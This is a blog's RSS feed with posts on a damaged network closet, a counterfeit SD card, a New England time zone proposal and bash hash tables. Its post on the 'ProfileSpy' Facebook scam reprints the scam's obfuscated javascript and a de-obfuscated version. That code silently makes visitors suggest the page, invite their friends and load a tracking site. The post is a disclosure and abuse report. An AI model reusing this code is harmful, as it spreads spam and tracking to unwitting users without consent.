<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet href="http://khopesh.com/blog/styles/rss.css" type="text/css"?>
<rss version="0.91">

 <channel>
  <title>Adam Katz Musings</title>
  <link>http://khopesh.com/blog/adam-katz-musings</link>
  <description></description>
    <item>
   <title>What Network Closet?</title>
   <description> 
It all started a few months ago.  Our building decided to put a restaurant in downstairs.  From my conversations with the head chef (who doubles as the building super), it's going to be a nice restaurant with some fantastic lunch options and a full bar.  The problem is that it's being constructed on quite the budget, which means little is done outside of the work day.  My office is directly above the construction. Over the last few months, I've had to deal with dying equipment, racket and vibrations at my feet, the moving of my doorway, and oh, the network closet...
 
 
When you make major upgrades to a building, the grandfathering for various safety codes disappears.  This meant some major work on the rest of the building before the restaurant can be started.  The second largest impact that had on my company's space was in the sprinkler system that had to be installed.  This was the source of many a headache, especially for the systems department I run, as we had to constantly be aware of everything they were doing, especially in the server room with respect to debris from moved ceiling tiles, sprinkler tests, and just the fact that we had to chaperon the pipe workers and make sure they didn't bump anything.
 
 
As the restaurant was to be below our space, this became the staging area for all of the work.  We endured two or so months of hearing them cut the pipes for the system and smelling the oil used to lubricate the saw (it smelled much like the exhaust from an idling car parked too close to an air intake vent).
 
 
However, the largest impact was to my office:  My officemate and I were evicted from our office for a week while they  moved the door  from one side of a wall in our office to the other.  This allowed them to block the end of our corridor (they cut a new hole in another wall to connect the fire escape path so that they could remove the fire door at the end of our hallway, then they shortened it beyond my office's door) to facilitate a new fume vent for the restaurant (which we fully expect to leak and fill my office with the smell of frying food).  The patched doorway is uninsulated and features an open drop to the ground floor on its other side, which allows me to hear conversations and construction all day long.
 
 
   
 
The original network closet.
 
 
 
The area allotted for the restaurant used to include a large lobby with access to a network closet and adjacent fire stairwell in addition to the repurposed office space.  Before the construction, the network closet was a locked closet containing a patch panel for each office in the building and a rack for network switches and T1 gateway (the building and my company each have dedicated lines and another tenant used to have their own as well).
 
 
&nbsp;
 
 
One day, when there just happened to be no IT hands (nor the COO, our primary contact with the building management), the closet was reconsolidated into a new space.  With no after-hour work, this meant a few hours of down-time for everybody in the complex.  I'm told my CEO sat for hours just glaring at the engineer tasked with moving the equipment.  This operation left the closet's contents stacked atop a  wooden shelf  next to the patch panels and punch blocks which had been moved as well, but the process did result in every cord being labeled copiously.
 
 
   
 
Stack of network equipment on a wooden shelf.
 
 
 
Due to other issues (probably a mix of heat, dust, and inconsistent power), we've been losing a lot of power supplies on servers and switches in the past year.  The stack as pictured was before we lost another switch and then pair of switches to that factor, so by late May, it sported another three switches.  (Due to the precarious mess of equipment, it was easier to leave dead equipment in the pile than to remove it.)  For the first few days, there was a power strip taped together and dangling from the building's gateway.
 
 
We have company-wide meetings every Wednesday at noon.  On Wednesday May 26, shortly after dialing the conference channel at noon, we lost our phone.  A latecomer to the meeting also noted that the network was down.  I sent Morgan to take a look at the network &hellip; uh, shelf &hellip; while I continued to investigate the wiring in the conference room.  He saw quite the scene.
 
 
   
 
Well, nothing is shattered on the floor&hellip;
 
 
 
When Morgan got down to the restaurant area, it was completely empty.  The entire shelf's contents were dangling from their cords about four feet from the floor.  By the time we got more people downstairs, a few construction workers had returned.  They afforded us ladders and let us move things around while I called the building owners.  The rest of the day saw things mostly back up and running with most of it in a precarious stack of equipment atop a ladder.  A few hours' work, drastically reduced by the labels from the last move, saw most of my company's equipment move into its intended destination in a curiously-hung rack suspended above a door to the fire stairwell.  During this process, worker after worker came in and resumed their tasks; nobody wanted blame for what had been done, so they all quickly found other things to do after realizing what had happened.  The accident came from either somebody snagging the cables with some piping as they walked by or work being done on the other side of the wall (which was cut open while we were there so as to expose some pipes).
 
 
   
 
Disconnect, lift, untangle, resist rampage.
 
 
 
After hours, we moved the rest of the equipment to the rack.  You can see the nice and tidy cords in the pictures leading to the items on top while the building and other tenants' wiring is draped across the punch blocks; I ordered extra cables the previous week in anticipation of this move.  In fact, I had sweated through the previous day in shoes rather than sandals so that this could be taken care of then, but the rack wasn't ready and I didn't have the time (the building workers got the rack ready directly following the incident).  The final piece, which still wasn't ready for the move, is power; our UPS battery is zip-tied to the rack while the building's power strip dangles from its side.  The protected outlet is still on the other side of the wooden shelf (note the extension cord in the picture) and there's nowhere to rest our non-rack-mount UPS.
 
 
   
 
The current arrangement.
 
 
 
Miraculously, the only lost equipment came in the form of some cables.  Even our about-to-die phone exchange server (a no-name commercial Linux VoIP system) survived without issues, though I think its RJ21 connector (a.k.a. 50-pin telco connector or Amphenol connector) may be a bit more fragile now.
 
 
Needless to say, everybody in the company is eagerly looking forward to a move to better facilities.  Some more than others...
 </description>
   <link>http://khopesh.com/blog/adam-katz-musings/network-closet</link>
      <pubDate>Tue, 01 Jun 2010 19:19:33 -0500</pubDate>   
  </item>
    <item>
   <title>ProfileSpy is a scam</title>
   <description> 
An open letter to Facebook and Blogspot:
 
 
I am writing about a Facebook page (app?) called &quot;See WhoHas Viewed You&quot; which brands itself as  ProfileSpy &nbsp;(&quot;see who views your facebook profile&quot;). &nbsp;The page begins by requesting users click &quot;Like&quot; on the page, after which further instructions follow. &nbsp;The javascript code offered for the service is incredibly obfuscated (I break it down below). &nbsp;Assuming you install it anyway, all visitors to your Facebook profile will automatically do (with no knowledge or consent) all of these items: Suggest the ProfileSpy page, invite all(?) of their friends to use it, and then load the  http://profilespy.blogspot.com  website in a frame. &nbsp;This site (purposefully not linked here!) includes all of the user-tracking code. &nbsp;It appears to also visit some other pages and submit forms on them so as to be more profitable and potentially collect more of your information.  Updated 2010-05-31 .
 
 
  Skip to update  .
 
 
	 
	 To: abuse@facebook.com, abuse@blogspot.com  
	 Cc: info@epic.org, information@eff.org 	
	 
	 
	Hello Facebook and (Google) BlogSpot abuse teams.	
	 
	 
	And privacy experts at&nbsp; EFF &nbsp;and&nbsp; EPIC .	
	 
	 
	I am writing about a Facebook page (app?) called &quot; See WhoHas Viewed You &quot;	(&quot;ProfileSpy / see who views your facebook profile&quot;). BlogSpot hosts the ProfileSpy site, including all user-tracking and	automatic advertisment-traversing aspects.	
	 
	 
	This appears to be in violation of several basic privacy standards.  It	also looks pretty viral.  I have attached a hand-de-obfuscated version of	the code it requests users install.  Even to get as far as needing the	code, you are required to tell FaceBook that you &quot;like&quot; the page (which	is either itself prohibited or at least should be).	
	 
	 
	Once installed, visitors to your page will then run this code without   	their knowledge or consent.  This entails:	
	 
	 
		 Telling FaceBook that the visitor suggests the page.		 		
		 Inviting all(?) of the visitor's Facebook friends to the page.		 		
		 Loading http://profilespy.blogspot.com in an iframe.		 	
	 
	 
	The blogspot page appears to be a user-tracking auto-ad-following page	(certainly not a blog).  The viral propagation and self-promotion	performed by the page must have already allowed it to gather an enormous	database of user information.	
	 
	 
	Unless I have missed something, both should be shut down immediately.	EFF/EPIC:  Please add this to the list of problems suffered on Facebook	for its failure to deal with this issue;&nbsp; ProfileSpy has been an issue in the past .&nbsp;	
	 
 
 
 
Here's the code break-down (Note, original code was a single line.  I have broken it up and created whitespace where it did not previously exist):
 
 
javascript:var_0xba64=[&quot;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&quot;,&quot;\x61\x70\x70\x36\x31\x36\x3
5\x35\x34\x39\x35\x32\x36\x5F\x62\x6F\x64\x79&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D
\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\
x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\
x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\
x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\
x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\
x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x32\x31\x34\x39\x33\
x30\x35\x37\x38\x38\x31\x38\x31\x34\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\
x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\
x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\
x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\
x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E&quot;,&quot;\x73\x75\x67\x67\x65\x73\x74
&quot;,&quot;\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73&quot;,&quot;\x63\x72\x65\x61\x74\x65\x
45\x76\x65\x6E\x74&quot;,&quot;\x63\x6C\x69\x63\x6B&quot;,&quot;\x69\x6E\x69\x74\x45\x76\x65\x6E
\x74&quot;,&quot;\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74&quot;,&quot;\x73\x65\x6C\x
65\x63\x74\x5F\x61\x6C\x6C&quot;,&quot;\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x6
6\x6F\x72\x6D&quot;,&quot;\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72
\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70
\x68\x70&quot;,&quot;\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67&quot;,&quot;\x3C\x69\x66\x
72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x70\x72\x
6F\x66\x69\x6C\x65\x73\x70\x79\x2E\x62\x6C\x6F\x67\x73\x70\x6F\x74\x2E\x63\x
6F\x6D\x2F\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x
38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x
78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x
63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61
\x6D\x65\x3E&quot;];var
variables=[_0xba64[0],_0xba64[1],_0xba64[2],_0xba64[3],_0xba64[4],_0xba64[5]
,_0xba64[6],_0xba64[7],_0xba64[8],_0xba64[9],_0xba64[10],_0xba64[11],_0xba64
[12],_0xba64[13]];
void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var
ss=document[variables[2]](variables[4]);var
c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true);
void ss[variables[9]](c); void setTimeout(function
(){fs[variables[10]]();} ,4000); void setTimeout(function
(){SocialGraphManager[variables[13]](variables[11],variables[12]);}
,5000); void(document[variables[2]](variables[1])[variables[0]]=_0xba64[14]);
 
 
This constructs an array of strings &quot;_0xba64&quot; where each string is assembled through basee64 character codes.  It then creates a new array &quot;variables&quot; and assigns all of the first array's elements to it (essentially, it's a copy). The final elemnent is not copied.  The actual value of each of those strings is listed below.  The fully de-obfuscated code follows it.
 
 
I'd call this more of a virus than a helpful tool for users.  First, it forces all of your visitors to suggest the application to all of their friends. After that, it appears to force your visitors to invite their friends to the application as well.  Finally, it phones home by loading the ProfileSpy site in a frame.  This site appears to have a bunch of self-submitting ads whichshould be quite profitable to the ProfileSpy developers.  It also has a ton of user-tracking elements, some of which get passed onto the user as a 'service.'
 
 
variables=[
&nbsp; &quot;InnerHTML&quot;,		// 0
&nbsp; &quot;app6165549526_body&quot;,	// 1
&nbsp; &quot;getElementById&quot;,	// 2
&nbsp; '&lt;a class=&quot; profile_action actionspro_a&quot; id=&quot;suggest&quot; href=&quot;#&quot; rel=&quot;dialog-post&quot;&gt;'
&nbsp; + 'Suggest to Friends&lt;/a&gt;',	// 3
&nbsp; &quot;suggest&quot;,		// 4
&nbsp; &quot;MouseEvents&quot;,	// 5
&nbsp; &quot;createEvent&quot;,	// 6
&nbsp; &quot;click&quot;,		// 7
&nbsp; &quot;initEvent&quot;,		// 8
&nbsp; &quot;dispatchEvent&quot;,	// 9
&nbsp; &quot;select_all&quot;,		// 10
&nbsp; &quot;sgm_invite_form&quot;,	// 11
&nbsp; &quot;/ajax/social_graph/invite_dialog.php&quot;,	// 12
&nbsp; &quot;submitDialog&quot;,	// 13
&nbsp; '&lt;iframe frameborder=&quot;0&quot; scrolling=&quot;no&quot; src=&quot;http://profilespy.blogspot.com/&quot; '
&nbsp; + 'style=&quot;width: 820px; height: 600px&quot;&gt;'	// 14 (not copied to variables[])
];
 
 
Here is the full de-obfuscated code (alternatively, download  profilespy.js ):
 
 
// Locate the element with the ID &quot;app6165549526_body&quot; and set its HTML content
// (overwrite) with the following:
void (document.getElementById(&quot;app6165549526_body&quot;).innerHTML
&nbsp; = '&lt;a class=&quot;profile_action actionspro_a&quot; id=&quot;suggest&quot; href=&quot;#&quot;'
&nbsp; + 'rel=&quot;dialog-post&quot;&gt;Suggest to Friends&lt;'+'/a&gt;');
&nbsp;
// assign variable &quot;ss&quot; to the &quot;Suggest to Friends&quot; link added above
var ss=document.getElementById(&quot;suggest&quot;);
&nbsp;
// Create a mouse event
var c=document.createEvent(&quot;MouseEvents&quot;);
c.initEvent(&quot;click&quot;,true,true);
&nbsp;
// dispatch it to (CLICK) the &quot;suggest&quot; link.
void ss.dispatchEvent(c);
&nbsp;
// the code &quot;fs.select_all()&quot; will run itself in four seconds
// ... I don't know what &quot;fs&quot; is.  This might select the entire facebook page,
// though I suspect it actually selects all options on a form.  It probably
// opts the user into something that requires user input, which is quite unfair.
void setTimeout(function (){fs.select_all(); } ,4000);
&nbsp;
// wait five seconds and then submit whatever the Social Graph Manager (sgm) is,
// which almost certainly uses the selected items from fs.select_all().
// I'd guess this now invites all of each visitor's friends to the app.
void setTimeout(function (){
&nbsp; SocialGraphManager.submitDialog(
&nbsp; &nbsp; &quot;sgm_invite_form&quot;, &quot;/ajax/social_graph/invite_dialog.php&quot;);
} ,5000);
&nbsp;
// Now that we've clicked &quot;Suggest to Friends,&quot; we can re-use that space.
// Replace that same element's contents with the code for a frame inside which
// is the real payload; the profilespy website, which appears chock-full of 
// user tracking, self-submitting advertising, and other problems.
void (document.getElementById(&quot;app6165549526_body&quot;).innerHTML
&nbsp; = '&lt;iframe frameborder=&quot;0&quot; scrolling=&quot;no&quot; '
&nbsp; + 'src=&quot;http://profilespy.blogspot.com/&quot; style=&quot;width: 820px; height: 600px&quot;&gt;';
 
 
   Update 2010-05-31:   Performing due diligence is apparently hard these days.  That's a change from the last time I went about this sort of thing.
 
 
Abuse emails aren't as useful as they used to be.  abuse@facebook.com automatically replies &quot;the email address you are using to reach us is no longer available&quot; and suggests I use the Help Center (which makes me wonder how a non-member can register an abuse issue...).  abuse@blogspot.com bounced (with a retry timeout, indicating that they've misconfigured the address to infinitely delay mail!), and abuse@google.com was completely unhelpful (I was referred by an auto-responder to web-based abuse systems at mail.google.com, which is clearly the wrong venue).  Even the advocacy groups were problematic, though not for giving me the run-around; EPIC rejected the message due to its .js attachment, and the EFF has not yet responded.
 
 
Time for another round.
 </description>
   <link>http://khopesh.com/blog/adam-katz-musings/profilespy</link>
      <pubDate>Sat, 22 May 2010 16:49:50 -0500</pubDate>   
  </item>
    <item>
   <title>Chinese Forgeries are on the rise</title>
   <description> 
Two weeks ago, I jumped on eBay to get a microSD card for my phone.&nbsp; I found a ridiculously cheap brand-name 16GB card &hellip; from China &hellip; and decided to risk the purchase (final price: $17.66, free shipping).&nbsp; It arrived today.&nbsp; The box it came in was made of a flimsy cardboard not much stronger than paper and included a piece of flimsy plastic shell around the card and its SD adapter. After some quick jumping around Google Images (including searches limited to  .tw ,  .hk , and, of course,  .cn  sites), I concluded that it didn't look like the legitimate product.&nbsp; If it didn't look or feel like the real thing, it was time to ask a professional.
 
 
I can quite happily report that SanDisk's customer support site makes it very easy to navigate and create a ticket.&nbsp; I was able to explain the issue and attach some photos (of the package  front ,   back , and the  card itself ), then fire it off. Just five hours later, I got a brief but to-the-point response from Kenneth K.
 
 
	 
	Thank you for contacting SanDisk RMA support. We have received and reviewed 
	your emailed photos and as per the photos your Micro SD card is not a 
	legitimate SanDisk product.
	 
	 
	For further queries you can give us a call at 1-866-726-3475 and choose 
	option 6 for RMA department.
	 
 
 
Well nuts. While I saw that coming, I was perhaps hoping they'd be interested in examining the forgery and maybe giving me a legitimate card in return (unlikely, but it doesn't hurt to ask). No dice there, and I'm not sure what the RMA department might do aside from either take or return the counterfeit product (since they didn't make it, why would they support it?) &hellip; for that matter, I'm not sure why that paragraph found its way into the email. Maybe it's part of a template?
 
 
Given the criminal aspect of this issue, I'm not going to go to the seller, especially since eBay now claims that this auction item &quot;has been removed, or this item is not available&quot; and then asks me to verify the number (which as pasted) and advised that auctions are not available after 90 days (this auction ended 11 days ago). 
 
 
There was a startling presentation at this year's  MIT Spam Conference  by Robert Bruen of  KnujOn  showing his research in buying online meds, which sometimes resulted in no shipment, other times yielded a placebo, but more often gave something pretty close to the real thing; a knock-off. These forgers are in it for the money, and happy customers will return for more). This is the same game. Sure, it's hazardous to my phone's health rather than my own, but it's another indication that forgeries are making big money in nations that don't crack down on the concept.
 
 
It was my trained eye and skeptical nature that considered the possibility of a forgery here. Most people would likely have been happy customers, unaware that they had a knock-off product. If one out of ten or so stop working (or are  DOA ) and five of ten people might complain about it, that spells a pretty profitable formula, especially if the seller just replaces the broken part with another one. $21 (the seller-paid shipping was &yen;19, which is USD$2.78 at the moment) is half the cost of the genuine product, so to make a profit, they've got to cut a LOT of corners. The cheaper their costs, the easier it is to handle loss; sending a replacement card for the 5% of their customers that complain is probably not something that would hurt their bottom line, but nobody wants to buy a product with a 10% failure rate, so they forge a reputable brand instead. I've even heard cases of products getting full support from the companies they pretend to be from, and it even makes sense &mdash; an unwitting customer sent it in, so their reputation is on the line; it's often preferable to fix or replace a forged product than lose a customer. Unfortunately, this helps the forgers.
 
 
When this is all said and done, I'll see about donating the card to some fraud-fighting organization (assuming I still have it). Or perhaps I'll keep it so I can have a show-and-tell item almost as cool as Robert Bruen's forged meds.
 
 
Next step: eBay Support. Ticket submitted, waiting. If that doesn't 
lead anywhere, I get to play with PayPal, and if that goes south, on to 
American Express. Another potential avenue is SanDisk's RMA since they've actually been quite friendly, but I'd rather consume resources from parties actually involved in the transaction than from the other victim. 
 
 
 Update May 2 : In researching support claims at eBay, I noticed that the auction was no longer reflected anywhere on their site.&nbsp; When eBay responded to my support inquiry with instructions for how to launch a complaint, they admitted the seller had already been removed from eBay (which is why the item was no longer in the system) but suggested launching an official complaint anyway. Sure enough, the item did exist in the complaint support system, so I created a ticket. From what I've read, forgeries are quite common, so I wasn't at all surprised that it was one of the four or five options to check in the complaint section for items not as described by the auction. I submitted the form and waited for a response.
 
 
	 
	We let the seller know the item wasn't as described. And the seller offered you a full refund for the purchase price plus original shipping if you return the item.
	 
	 
	Refund information:
	 
	 
	Once the item is delivered to the seller, a full refund of $17.66 will be issued through the same payment method you used to pay for the item. The refund will include the purchase price plus original shipping.
	 
 
 
The whole &quot;forgery&quot; part seems to have been completely disregarded, 
despite their having a whole category devoted to it. Worse,  eBay is working with the seller despite the blatant criminal activity and has requested on the seller's behalf for  me to break a federal law and send the item back to the seller &mdash;at my own expense&mdash; so that I can get a refund and the seller can pawn the forgery off on another victim. Sorry, that's not okay.
 
 
I saw in some related reports online (like  this account of forged purses ) that PayPal will resolve the issue by asking for me to ship the counterfeit card to their own offices (presumably for some forensics work); still arguably illegal, but at least there would be a good excuse. If eBay refuses to play ball, I'll have to petition PayPal (an eBay subsidiary...) and follow that path. Hopefully they'll let me scratch the word &quot;fake&quot; into the card or something as I'd hate for the thing to find another victim.  
 </description>
   <link>http://khopesh.com/blog/adam-katz-musings/chinese-forgeries-are-on-the-rise</link>
      <pubDate>Fri, 30 Apr 2010 19:14:00 -0500</pubDate>   
  </item>
    <item>
   <title>Permanent Daylight Saving Time for New England</title>
   <description> 
It's annoying living on the Eastern edge of the US Eastern time zone.  During the winter, the sun sets before 5:00pm.  It's also annoying &mdash;and dangerous&mdash; to endure the phase-shift of Daylight Saving Time (DST).  Here's a simple proposal, with economic, safety, political, and practical reasons behind it:  Move New England to permanent Daylight Saving Time (UTC -0400, the Atlantic time zone).
 
 
Moving to the Atlantic time zone would put New England in good company with neighboring Canada's New Brunswick (which borders Maine), Nova Scotia, and Prince Edward Island during the winter.  During the summer, the region would be synced up with New York and the rest of the east coast.  Year-round, the time would be the same as in Puerto Rico (which, like much of the Caribbean,  is in the Atlantic time zone and  does not observe Daylight Saving Time ).  There is even precedent; the Dominican Republic, Venezuela, and Chile are all Atlantic Time despite sitting west of the line.
 
 
Of course, each state is dependent on its northeastern neighbors' participation, starting with Maine and ending with Connecticut. Connecticut (and, to a lesser extent, Vermont) could be optional participants if they decide to keep pace with New York. If Connecticut isn't on board, Massachusetts could be
cut between Springfield and Worcester, though I don't think cutting
states makes anything simpler, and driving across the MA/CT line
between Springfield and Hartford won't be the end of the world if it
crosses a time zone, just as it wouldn't really hurt southern
Connecticut residents headed to New York City. 
 
 
The economic advantage:  Having the earliest time in the country has direct economic advantages; consider Newfoundland, whose custom time zone is UTC -0330, the earliest in the whole super-continent.  When Harry Potter and the Half-Blood Prince came out, Americans and Canadians flocked to Newfoundland to have their copy before anybody else.  The same happened for Halo 2.  Similarly, midnight premiers of movies happen earlier in more eastern time zones.  This gives an edge to New England at the expense of New York City, which is almost dead-center in the Eastern time zone (by strict latitude lines).  With the closer time to Europe, more business will come to the region as there is more overlap in the work day and a easier adjustment for traveler jet-lag. (The US even established year-round DST, called &quot;War Time,&quot; between 1942-1945 to be more aligned with Europe during the second world war.)
 
 
 Several studies  have reported that extensions of DST would benefit the retail and sports industries though at the expense of television and movie industries.  The agriculture industry objects DST for its adjustments to the clock which are far harder on farmers than others, so it would theoretically support perpetuating DST and abolishing DST equally.
 
 
Safety: Driving in the dark is more dangerous than driving during daylight hours.  When the sun sets before 5:00p, most daily drivers find themselves driving home in the dark.  If it were an hour ahead, Boston's 4:11p sunset (twilight time: 4:43p) on December 7 2010 would move to 5:11p (twilight at 5:43p), ensuring sunlight for the commute home year-round.  For the morning commute, the earliest sunrise is just after DST deactivates on Monday 2010/11/8 is currently set for 6:25a.  Moving this to 7:25a might be annoying to some, but given the standard sub-30 minute commute, that's still plenty of time for people who start work at 8:00a to drive with full sunlight.  Studies have concluded the increased daylight from DST reduces traffic fatalities by up to 4%.
 
 
This goes beyond just driving, as joggers and others on foot would have better visibility and street crimes would have to wait until later to be done in the shadows.  Even if this creates more darkness in the morning, it's worth considering since crime is more common in the evening than in the early morning.
 
 
A 2009 Michigan State University study examining  workplace injuries related to DST  [PDF]   concluded &quot;that schedule changes, such as those involved in switches to and from Daylight Saving Time, place employees in clear and present danger.&quot;  Suicides and heart attacks are also correlated with clock shifts. Perhaps the reduction of traffic accidents would be larger if there weren't a transition period. 
 
 
Political advantage: voting would take place an hour earlier, and therefore pools would close and results would be in an hour earlier.  New Hampshire already has a pretty good deal when it comes to primaries, and the east coast also often drives the punditry on election night.  Moving New England ahead of the rest of the east would garner more of the spotlight.
 
 
Practical advantages are quite numerous:  it further &quot;distances&quot; the region from New York City, the other powerhouse in the neighborhood, granting more independence and more of an attraction.  The increased safety can't be ignored.  The two transition periods would vanish, alleviating the injuries,  sleep complications , and other health risks they cause.  The extra exposure to the sun is good for vitamin D synthesis in the skin without much increased risk of skin cancer thanks to the northern longitude of the region.
 
 
Old devices that aren't compatible with the recent Daylight Saving expansion will work again (since you can just change the time and disable it or and put yourself in the Atlantic time zone along with San Juan, Puerto Rico), and future revisions to the timing will not affect the region.
 
 
Since the start and end times of DST cannot be altered except at the federal level, moving to permanent Daylight Saving Time would require a change in time zones and abolishment of DST.  The  policy for changing time zones  requires a governor and/or state legislature to make the request, with an argument showing benefits for &quot;convenience of commerce,&quot; which is &quot;defined broadly to consider such circumstances as the shipment of goods within the community; the origin of television and radio broadcasts; the areas where most residents work, attend school, worship, or receive health care; the location of airports, railway, and bus stations; and the major elements of the community&rsquo;s economy.&quot;
 
 
The request is then reviewed by the US Department of Transportation, and pending approval of those minimum requirements, then grants a public hearing.  With the case made, the Secretary of Transportation makes the call and the change would go into effect with the next (and final) DST transition.
 
 
Even discounting the health reasons (which should be argument enough alone;  Kazakhstan abolished daylight saving  for this reason) because they aren't directly addressed by the &quot;convenience of commerce&quot; points, this should be an easy argument as every angle is covered:  Shipping goods an hour earlier makes delivery schedules simpler as the nation-wide work window is larger.  Broadcasts, like movie premiers, would attract business from across the newly formed time zone line.  Workplace and commuting safety would see improvements and overall health stands to gain from the sunlight.  Like shipping companies, transportation hubs would benefit from the extra hour to arrange their fleets.  Retail and sports-related businesses would have more daylight hours to attract customers and farms would gain a more stable schedule.  While indoor entertainment venues might lose business to the outdoor scene on the area's uncommon sunny days (complaining that potential customers are playing outside seems rather trite anyway), they would benefit from increased attention for premiers and releases.
 </description>
   <link>http://khopesh.com/blog/adam-katz-musings/new-england-tz</link>
      <pubDate>Fri, 12 Mar 2010 20:26:46 -0500</pubDate>   
  </item>
    <item>
   <title>Hash tables in bash</title>
   <description> 
This might be confusing because I just wrote an article on  using the MD5 hash summary algorithm in JavaScript , but I'd like to address another use of the word hash (sorry, you can't smoke this one either), relating to lookup tables that can make code significantly easier to develop. Bash (a shell scripting language I try to stay away from in favor of more conservative POSIX shell code) is really good with arrays, but a loop is still needed in most cases while a dynamic lookup table based on keys (like the hash type in perl) would alleviate that need. It occurred to me not too long ago that facilitating this in Bash wasn't actually that hard.

 
 
A  hash table  is a data structure enabling easy lookups and simple code.  It's like an array with user-friendly indexes rather than numerical indexes that don't really have any meaning whatsoever.
 
 
 Perl  has them, as do many other scripting languages.   POSIX shell  ( Bourne shell , /bin/sh) does not, so it's not surprising that its derivative Bash doesn't have it either, though it does have a lot of other things, including  arrays .  It turns out you can implement hash tables in Bash by using cksum and bash array variables, and they behave perfectly.
 
 
Don't forget that POSIX shells already have a &quot; hash &quot; function which maintains a hash table for locations of commands.  Hackers can neither use anything from that data structure nor the word &quot;hash&quot; since it is reserved.  So as to choose something short, I've gone with  ht() , though an earlier draft of this actually used the percent symbol (as a tribute to perl, though this is only compatible with some versions of bash).
 
 
# Here's the hashing function
ht() { local ht=`echo &quot;$*&quot; |cksum`; echo &quot;${ht//[!0-9]}&quot;; }
&nbsp;
# Example:
&nbsp;
myhash[`ht foo bar`]=&quot;a value&quot;
myhash[`ht baz baf`]=&quot;b value&quot;
&nbsp;
echo ${myhash[`ht baz baf`]} # &quot;b value&quot;
echo ${myhash[@]} # &quot;a value b value&quot; though perhaps reversed
 
 
In Perl, this would look like:
 
 
my %myhash = ();
&nbsp;
$myhash{&quot;foo bar&quot;} = &quot;a value&quot;;
$myhash{&quot;baz baf&quot;} = &quot;b value&quot;;
&nbsp;
print &quot;$myhash{'baz baf'}\n&quot;;
foreach (keys %myhash) { print &quot;$_ &quot;; }
 
 
It should be noted that because we're using a (pseudo-) cryptographic hashing algorithm, we cannot retrieve the key names (perl has no such limitation).  In fact, I'm not even sure how to retrive the hashes for them.  The standard bash array handlers work fine, including  &quot;${myhash[@]}&quot;  for the list of its contents (with each element in quotes),  &quot;${myhash[*]}&quot;  for the space-delimited list of its contents all in one set of quotes, and  ${#myhash[@]}  for the number of elements, but you cannot refer to elements by number since they're quite nonsequential; `ht foo bar` returns &quot;30953423178&quot; for example.
 
 
Not that that should be a problem; since the order is shuffled anyway, there's no point in bringing up array elements by their actual index.  If you really wanted to, the method to get the final array element, which is typically as simple as  length=${#myhash[@]}; echo ${myhash[$((length-1))]} , could be implemented as:   for last in &quot;${myhash[@]}&quot;; do true; done; echo $last  and this similar workaround would get the first value:   for first in &quot;${myhash[@]}&quot;; do break; done; echo $first 
 
 
This has been tested with bash 2.05b.0 (Freebsd 4.7) and bash 3.00.14 (Fedora 3) and bash 4.0.28 (Debian Squeeze).  As a reminder, POSIX shell does not support arrays of any type and other enhanced shells (e.g.   zsh , my current shell of choice) have their own ways of handling arrays that are not at all compatible.
 
 
A reminder:&nbsp; Bash scripts should be invoked via  /bin/bash  and  not   /bin/sh   (doing so creates bugs often called  bashisms ). In many Linux distributions (especially older ones), this was a reasonably fair assumption, but most systems (including all UNIXes) use something more basic. Solaris uses  jsh , which is their own job-control shell and has many inconsistencies (e.g. it lacks arithmetic expressions and variable substitution, contrary to the POSIX shell standard) so you must find and use the  XPG4  shell at  /usr/xpg4/bin/sh  for real work (though many people just default to using  /bin/ksh  as it's up to the challenge). BSD systems use the  Almquist Shell  (ash) and Linux systems like Debian are increasingly moving to  Debian's port of ash  (dash) since it's   faster than bash . 
 
 
Bash programming guides I've found useful over the years include  Bourne shell idioms   and   The Definitive Guide to Bash Command Line History  , and the rest I've learned from the man pages. The  man page for dash  is actually quite informative and useful even if you're using a different ~Bourne-compatible shell; its simplicity makes it succinct and hard to get lost.  I also like to search the bash/dash/zshbuiltin man pages with queries like  hash.*\[  in order to find the hash function definition rather than some random other use of it as an English word or some reference to it. In bash, you can also simply run  help hash  (which I've found useful enough to put  help() { bash -c &quot;help $@&quot;; }  in a zsh rc file). As to the radically different C Shell (csh) and its derivative Tenex C Shell (tcsh), you should  avoid scripting in csh or tcsh  as much as possible (example: my  SSH trick - shortcut for proxying into a network  requires an extra step for csh and tcsh users).
 </description>
